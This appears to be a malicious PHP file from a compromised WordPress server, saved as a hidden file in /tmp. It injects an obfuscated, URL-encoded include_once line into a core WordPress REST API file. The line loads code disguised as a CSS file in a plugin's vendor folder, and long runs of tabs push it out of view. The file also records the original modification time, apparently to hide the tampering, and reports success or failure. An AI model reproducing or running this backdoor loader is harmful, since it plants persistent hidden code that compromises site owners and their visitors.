File: //tmp/.accepted
<?php $path = '/var/www/html/reveliadx/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%40include_once%28%27/var/www/html/reveliadx/wp-content/plugins/wpe-site-migration/vendor/php-di/php-di/src/DI/Definition/Helper/editlib.css%27%29%3B'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');